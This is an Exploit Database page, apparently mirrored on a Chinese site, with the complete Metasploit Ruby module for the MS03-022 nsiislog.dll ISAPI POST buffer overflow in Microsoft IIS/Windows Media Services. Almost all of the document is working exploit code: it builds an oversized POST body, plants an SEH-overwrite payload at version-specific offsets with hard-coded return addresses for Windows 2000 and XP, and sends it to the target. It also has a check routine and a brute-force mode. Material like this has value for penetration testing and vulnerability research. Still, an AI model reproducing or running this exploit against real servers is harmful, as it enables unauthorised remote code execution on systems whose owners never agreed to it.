Microsoft IIS – ISAPI ‘nsiislog.dll’ ISAPI POST Overflow (MS03-022) (Metasploit)

• Exploit Database
• 29 阅读

• 作者： Metasploit
  日期： 2010-07-25
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16355/

• ##
  # $Id: ms03_022_nsiislog_post.rb 9929 2010-07-25 21:37:54Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GoodRanking
  
  	include Msf::Exploit::Remote::HttpClient
  	include Msf::Exploit::Remote::BruteTargets
  	include Msf::Exploit::Remote::Seh
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Microsoft IIS ISAPI nsiislog.dll ISAPI POST Overflow',
  			'Description'=> %q{
  					This exploits a buffer overflow found in the nsiislog.dll
  				ISAPI filter that comes with Windows Media Server. This
  				module will also work against the 'patched' MS03-019
  				version. This vulnerability was addressed by MS03-022.
  			},
  			'Author' => [ 'hdm' ],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 9929 $',
  			'References' =>
  				[
  					[ 'CVE', '2003-0349'],
  					[ 'OSVDB', '4535'],
  					[ 'BID', '8035'],
  					[ 'MSB', 'MS03-022'],
  					[ 'URL', 'http://archives.neohapsis.com/archives/vulnwatch/2003-q2/0120.html'],
  				],
  			'Privileged' => false,
  			'Payload'=>
  				{
  					'Space'=> 1024,
  					'BadChars' => "\x00\x2b\x26\x3d\x25\x0a\x0d\x20",
  					'StackAdjustment' => -3500,
  
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					# SEH offsets by version (Windows 2000)
  					# 4.1.0.3917 =9992
  					# 4.1.0.3920 =9992
  					# 4.1.0.3927 =9992
  					# 4.1.0.3931 = 14092
  
  					['Brute Force',{ }],
  					['Windows 2000 -MS03-019', { 'Rets' => [9988, 0x40f01333 ] }],
  					['Windows 2000 +MS03-019', { 'Rets' => [ 14088, 0x40f01353 ] }],
  					['Windows XP -MS03-019', { 'Rets' => [9992, 0x40f011e0 ] }],
  				],
  			'DisclosureDate' => 'Jun 25 2003',
  			'DefaultTarget'=> 0))
  
  		register_options(
  			[
  				OptString.new('URL', [ true,"The path to nsiislog.dll", "/scripts/nsiislog.dll" ]),
  			], self.class)
  	end
  
  	def check
  		res = send_request_raw({
  			'uri' => datastore['URL']
  		}, -1)
  
  		if (res and res.body =~ /NetShow ISAPI/)
  			return Exploit::CheckCode::Detected
  		end
  		return Exploit::CheckCode::Safe
  	end
  
  	def exploit_target(target)
  
  		# Create a buffer greater than max SEH offset (16384)
  		pst = rand_text_alphanumeric(256) * 64
  
  		# Create SEH frame and insert into buffer
  		seh = generate_seh_payload(target['Rets'][1])
  		pst[target['Rets'][0], seh.length] = seh
  
  		# Send it to the server
  		print_status("Sending request...")
  		res = send_request_cgi({
  			'uri'=> datastore['URL'],
  			'method' => 'POST',
  			'user-agent' => 'NSPlayer/2.0',
  			'content-type' => 'application/x-www-form-urlencoded',
  			'data' => pst
  		}, 5)
  
  		select(nil,nil,nil,1)
  
  		handler
  		disconnect
  	end
  
  end